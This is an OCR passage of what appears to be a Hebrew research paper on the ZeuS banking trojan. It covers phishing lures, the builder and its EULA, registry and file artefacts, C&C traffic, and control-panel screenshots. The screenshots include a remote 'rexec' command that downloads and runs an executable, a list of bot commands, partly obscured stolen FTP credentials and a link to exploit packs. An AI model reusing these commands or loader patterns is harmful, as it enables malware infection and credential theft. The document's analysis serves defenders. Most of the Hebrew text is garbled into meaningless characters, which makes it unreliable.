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@ [SPAM detected by FortiMail] Outlook Setup Notification

File Edit View Tools Message Help ."."
! . B >
& & v £ X © O
Reply Reply all  Forward Print Delete
From: ]
Date: Tuesday, June 16, 2009 1:46 FM
To:

Subject: [SPAM detected by FortiMail] Qutlook Setup Motification

You have 12 message from Microsoft Outlook. =
Please re-configure vour Microsoft Outlook again.
Download this file and setup
hitp/Ivellill ' Outlook update.exe
v

& [SPAM detected by FortiMail] You have received an eCard

File Edit  View Tools Message Help ..‘,"'
Tk . ™ =
: Reply Reply all Forward Print Delete
rrom: [
Date: Friday, June 25, 2009 9:54 AM
To: |

Subject: [SPAM detected by FortiMail] ¥ou have received an eCard
Attach: ||§]ecard.htm {1439 bytes)

Good day.

Y ou have received an eCard

To pick up vour eCard, open attached file
"We hope vou enjoy vou eCard.

Thank ¥ ou!
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NIDIN IX N72Y90n NN Exploits 71¥1 7wn%? > ,NNNX 01T DA NINYR ,NNT DY
7y ,0mmn onxa Cross Site Scripting Vulnerabilities 7¥17 pa 217y qpin .nniw
010N NX 72p%7 DA N1 I L,DNY'T K77 DMITT DNKT? WIA7 D'wnnun? nnat nin

JNNDKR QIN'Y NINDIN IX D'ON'Y nNT

7¢ IMy'T 2an mxy DX NIPW? YT 010N ,AUNnNd NNYXIN Mgnn N7 ,q0m

.0'9011 NNAIPY? 9NN

nniw N2t niwe oIk 3.3

olon n'a 3.3.1

n'a% ,Framework Ix ,n1dIM olon '¥'on 1and ,NpaTn? WIN 010 79077 'TOa
YIn 'nna wAIT ‘9% 1om nr Framework .nniw nnTan ' 2y 0'olo v N'univix

.0'901 Y2171 700-2 Web ooian nu*7w pwnni 2114000 210

s Zeu$S Control Panel
Information Builder
Builder Config and loader building
Logs decoder Source config file:
Gl

E .......... s i [ T ] [ Bl Biaee j

Config file (in plain text) - ‘ ‘\
Loading config from file 'C:{config.txt'...

Loading succeeded!
Build config Build binary
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win'y ‘NN Ddon Framework-n M%7 190101 ,NIwY? 17" Tan QX 010N 'NNo9n

:0"'on 97 niyno piL(EULA)

"The vendor of the ZeuS crimeware kit provides professional technical support
to the customer.

The customer is not authorized to disassemble or analyze the code of bot nor
The builder, and is not authorized to submit parts of ZeuS to antivirus
vendors.

If the customer violates this end-user license agreement (EULA) the bot of the

customer will be immediately submitted to antivirus vendors.

NIXOMA A'WN7 NI ,XWN? "INY PIY" NND) DRIY DNXIE D'ANIDA ,NIN'RD N1nNY?

3 12%2 21T 1000-3 7w "Axyn" 1'nna Framework-n v

http://www.opensc.ws/trojan-malware-releases/7537-zeus-actual-exploit-packs.html *
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AT K77 QEnmin awnnn 7Y NI Ni7'wo yxa? nin 7y nimay nNixa 'na oion
DD'NNN NN NP'TA NIYXARD NN NIDIN ONK?  N0In 010N ,n7'NNa
Zlclient.exe 1 outpost.exe [12> 0>*7nN2 77n1 XN OX .awnna o'¥n (Processes)
RXI'l System32 0 nvp'na nxy DX DWN XN (WX NINiN ¢ processes Dn'v)
NI7'Wo N'VaN7 NN 7V registry 'Y AN KN ,NNLVI )'YNNY NYY RXIN KN DX
2WNNN 7 w90 701 Yarr XInY D10

21780 Registry W9 knarT

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Network]
+ UID = "%ComputerName%" (adds computer name)

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer]
+{F710FA10-2031-3106-8872-93A2B5C5C620} = F7 09 F2 0D

[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
+ ProxyEnable = 0x00000000

D'¥27 W X RN DYRNN mall L %windir%/system32/ qima nvz'm X olon
nYUNIL,N97NIMN NDIYNN 7¢ D'2NAN DIMIN 7D [I0NKY? wnwn D¥apn TNX .0'WUTN
'NYn 010N INYY NX .UXIN NITAN NAMNDN TN WK [OXINN N'XIIADIIRN YA NN
NIN ON'I'VIXR NIDIN T 2V 1N'TA YyIn'a? 111 ,%windir%/system32/ nm1907 D oa

O"KAPKR 01N nxy? 9'on

Yin'v olon nYIV DN 0'Xapmn NINYY7 NIXI9 NI'YRMI YN nmmy

Variant | Trojan Binary Storage File Configuration File
1 ntos.exe wsnpoem\audio.dll wsnpoem\video.dll
2 oembios.exe sysproc64\sysproc86.sys | sysproc64\sysproc32.sys
twext.exe twain_32\local.ds twain_32\user.ds
4 sdra64.exe lowsec\local.ds lowsec\user.ds

OO0 NINXRM NIN''PYW V1NN N N7
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NMON QEINN IT NIXA [9TOTA NIMdN 7w cachen nxi cookies 'xap pnin Zeus
NTPN D7 "rTRn” 9pinn w7 nxn 2pn [0YRY NRImdn DX 77PN whian nx
NNNT Y22 20D DX TR RID DnE QIpn W 0nnxe o 'R? n7anl )10 ,nTma
770 2pEn 7w DvwRn 0'0N5N 70 NIR NI7AY 7D qEInn ,0MI7YUN NXR IR DY

.0"011'S 011N

IP niamd n'ovo nixa yviap? [N D17 ,awnna Hosts-n yalp N nnw? 710t olon
ANX7 NNT DRI NXR? 2NN N7 200R7 01Ia 010N ) TT 7Y .0Mion DNNK Y

JTT 0T R T RIPNY DRIMIN 721,W172% n¥Y RIpn MR

2 0'NIYIN DIIMIN DX 91771, 2010 7w J0n MI7'Y DA Yy¥a7 N7a10n NAITTN N1dINN
Jopnmn mpnn 7w (Certificates) nimyn 7710 ,\Windows Protected Storage

JAN 7¢ DIIYN NINNO'ONI WNNWNN NINY NIX |2 DA NA1Ia N1DINN

PHP ~ap7 nw'7a niyynxa npanl nueun nvs nrna "ayvin whain yTnn
N1Y97 [N X7w )2 ,NM1OXINI NXIDN N1IXa Ny yTnn .(Dropzones n'R1jpan) nriyve

AXIND AT VTN DR

Zeus 1v yT'!m NIT'Y Miayn? nnart

POST /<y <> /S - php HTTP/1.1
Accept: Ay

User- Agent: Mozilla/4.0 (compatible; MSIE 6.0; wWin32)

Host:

Content-Length: 309

[Connection: Keep-Alive

Pragma: no-cache

k G R L as brQ:<:n — 7 > | Sranes e G.l

R T S o o PN SO T = R i (R (s S S . | S - Py AN G: . KESW N AZ

Rl g=: poom. 76 OO ey I HXnZF S W L S oo S T
PRRERTRRR] | Pk 0 Jo S NPHRGRE 8.H..O.+....j.G..+...Z.V-$ ..... HTTP/1.1 200 OK

Date: Sat, 18 Apr 2009 05:29:56 GMT

Server: Apachey/2.2.8 (Ubuntu) PHP/S.2.4-2ubuntus.S with Suhosin-Patch
X-Powered-By: PHP/S5.2.4-2ubuntus.5

[Content-Length: 44

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: text/html

el & ST S A
v o G.l..zM.m J
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.Botnet n 7w it nirn? 1910 Aawnnn o1 bot nwY%? awnnn Nk QX7 2Dt Zeus
UNNWN? 70" q@imn L 1M NI7ITA NIoNa N'PIn X7 NI7'Wo? nivnwn 178 NINwA
7¥ 7NN NAMD DX NI7A7 1721w 220 Nidpnn yxa? nn 7y ,proxy |'vnd awnna

.N9PNN

y¥1%7 IN ,MDYNI NIKYN) YUK NIDIN Yn? N 72y back door nnni® ninn
noynn NX 'oi7n? onn% '1ma BackDoor-n wnwn xn npna .0apTy

opnmn
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7NINN 0IoN 7R NIN'wn NNayva7l NNTANY? 'RINK Zeus 7Y atYIa'maipgn yaly
i i i
.avnna

0" 0'7'7n nnd oy , XML yaip |'vnd N2 yaipn

010N 7 ANI'A NYDTYN NONAN NXR'XNY NAIND
N'XIIA'D1IN YA 7W AN NRDTYN N0NAN NR'YNYT7 NAIND
[7NINN 010N T 7V "MaNIY YT NNAVN7 NAIMd

.0'Yn 0'09 N2AI NITRAT? "ThIMa niMyn"” niumd nn'w)

o w N -

010N ,NN'YN2 NIINdN NNXY w712 wnnwna DX - "n'on"-7 niamd nn'w)

.NNT INX? YNnnwnn DX N1onl ,NYPAN NKX XY

NT'N ,MI7D J7201pn KR L19XIM N RY DTYIIAAIEN YAl ,010n 7w NMIpnn noNaa
nwios 2008 qio NP7 .yalpn DX RKNP7 2N VT A 722050 DN
YOINI DONID N'XIIA'DAR 'YAP NIRRT 721 ,NNVAXN NNAN T 7Y 722790 DNMNIAX

.07y

[12207 19'0INW D T 7V ,0N2'NAN LITN N'YAN NIX 010N ANID NNS N'NdIN N0
757 qwKnd ,RC4 onmn7xa n1oxn NI7d' 19010 Zeus-7 .n'XI'oIpn Yalp'? n1oxn
Y NWYNYY 7D LINxy 010N 7Y TIza ynuin NNONN .17WUn N19¥N NNo5N 790171 010

JANIVXNKRD I9XIN AWK N'XAA'DLPN 'Y DX NIY97 2a10n Nt RIN
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7WIN .071Y2 DRIY NIPZa NOY7Y NR NIYYNARA DTV NITIRS 7270 Zeus inNd
7¥ N'oN' D¥NIXN 190N D'7'Y9 [IN1 YA 701 UKD ,071¥2 N7RD DNK Q780 DMYp D
D'INX DONISNN .I7Xd D'MY MNX 2pyn? VINVI'RA D'TIY" DNXR D'NYP .0NK

D'NIYN 7V 21 YT X N 73R N1 https://zeustracker.abuse.ch xin 17X

.0"7'von

TIDM 2V nwpnn 12T ,NNK DTN D' X71,07152 DNTI9N Njzanl n0YwUN NN
7w 270 190NN DX NINTRNAN NIRTAN NYY [N 178 ,01NNXK DRIMY 'D 7V T2 NI
:C&C nnx

I Russian Federation (RU)

32 B china (o)

80 % United States (US)

40 == Netherlands (NL)

17 ™ Ukraine (UA)

14 = Germany (DE)

12 == Latvia (LV

11 58 Taiwan, Province of China (TW)
11 B «azakhstan (x2)

8 Turkev (TR)

TNT2 IMI7101 AN D OX LN VIYD NUY7Y PYnn NIYXNX NYXANN 0102 NLVYWN
ANX7 .N'0N2 IR NY72IXN N9 Pwnnn DX 2'¥n7 OX 1IN27 N NINTTAN Jona 7'
bots-n 1®0nI om"pn botsn 190n 12> D"VO'VVLO DRIMY NIKY? NI NINTIN
bot "90on TNX? DA N1 .0aTh DTN NMdI bot-n DTV M ,vad DNainnn

.Botnet nimwn 11x'7 Y121 ,nin‘ion Nixine?

21 ,(TIVI 010 NOMA ,YIX ,NjATn A7) 1912 bot 75 7y naima nivn? oa naw jamd

.JNONN (WNNA IXIN'Y 190 ,NIRIY NI7IVD 12 y¥2Y?
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5 ZeusS == Statistics - Mozilla Firefox —1of =<1
Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe
BN~ ©C - X o> in.php?m—home 7 ~ |G- cocoie 2| g
ZeusS :: Statistics =
Information:
i Information
rofile: <
GMT date: 11.032.2009 Total logs in database: 32677358
GMT time: 14:15:27 Time of first install: 19:59:26 12.02.2009
Statistics: Totsl bots: z98s
Total active bots in 24 hours: 678
— Summary
e Sotnet:
Online bots B e I e S —— et
sl LI Tt e S bor v
L == Gce =22 TH 122
. - 2= || - 121
Semacts rRU 19 || rRU 120
Search with template us 19 GcB 86
Uploaded files TH 14 us =23
System: DE S ||TR 25
Profiles e S =
SSm FR =2 || v £
priile j IR 2 || P Y
Options PE 2 HU = p—
Logout cn 2||sAa =
KR a||Er =
IE kS DE 2
<H LS MA 2
MY &€ EG 2
sSA S uAa 2
ID =x AZ 2
VN kS BY 2
TR S Le =
e ¢ 5 MY S
ES ES =1

¥) ZeusS = Edit group - Mozilla Firefox

Datei Bearbeiten  Ansicht

Chronik  Lesezeichen Extras Hife

Information:

Profile: mew—
GMT date: 11.03.2009
GMT time: 10:28:51

~ - 3 o | o2 -bomdssedit=19 ¢ - |[G]=] coogle ,
ZeuS :: Edit group

Edit group

Name: [123575093s

Statistics:

Summary

Status:

Limit:

Botnet:
Online bots

— Remote commands

Countries:
ComplID's:
Botnets:

Logs:
Search
Search with template

Uploaded files

Commands:

[Enabled

[sss

[

[

UL

rexeci hrep://

——/1dr3.exe

System:
EFZAI [ Save i Cancal ]
Profile
Options
Logout
Copyright @ 2006-2007 ZeuS Group
| Fertig oD | as S | Apache/2 Adblock =

7YUnnn T NITIE 190N y¥a? |nn

N'9'¥90 NAIMD7 nw'a noin - block_url
.cookies n yalp nx mwn - resetgrab
7NN 2UNNN yai 7w nx1nl nTIN Y27 awnn'? D0 - rexec

2AYUNNN 7Y X¥NIN YAl 7 NN awnn? 00 - lexec

Yalp 7w nTin - getfile

.'XIA91IR YaIR 7w TN - upcfg
kill operation system — Kos

nnaT?
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,NA'MND N7 ,0'10N VOV |IAd 0IIY D'AVNMD 19% MdNN 7w 02172 wI9'n y¥a7 oa N1

) ZeusS = Logs search - Mozilla Firefox

S121yaip a0

B o
Chronik  Lesezeichen Extras Hilfe

{|

:: Logs search
Information:

Profile:
GMT date: 11.03.2009
GMT time: 10:45:31

C - X o I oo —cnio_rom—osom 75 |G| cevse 28

Eromidate (A8 Sdats

countriesi_——— Jcompomi [

Statistics:
Botnets: [ | ws: [ ]
Summary
Botnet: Query: [ ]
Online bots Log =P = Output:
type:
Remote commands
I case sensitive
Logs:
W Exclude retries of contents (slow)
— Search -
AER S e Don't show computer names
Uploaded files
e e
Profiles
profile
_ 06.03.2009
Qoo juliadt_0075041d
togout RU, 81.Sw ==
[+] ftp://u92998 : == @90. T =221/
sky01_000f93fo
TH, 58. == —=—==
[+] ftp://t3upload:= @203 . ==mcmmeon21/
turbinaaa_2443f481
——5a:21/
[+] ftp://cust-r2: Mo @67. E==——e3:21/
your_e6f0283:
GB, 88.===—
[+] ftp://cust-r2 f
[+] ftp://cust-r2
[+] ftp://cust-r2:= ~|
| Fertig

0
§
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nip'vorvvol nnvo'a 3.5

%75 3.5.1

nindIn ') D ox ,2005 miwa 12> olon W mitp 72y DMNId NINTY RIXN? N9

2007 Mmw7 nid>ININN 010N DI'P? NRIYRIN NINJINN .NIPXIN

N'D N'NDNN NMYAN N0MAN NYIIL,DANTY 190N 12V 010N ,NMIYKIN INXON TRN
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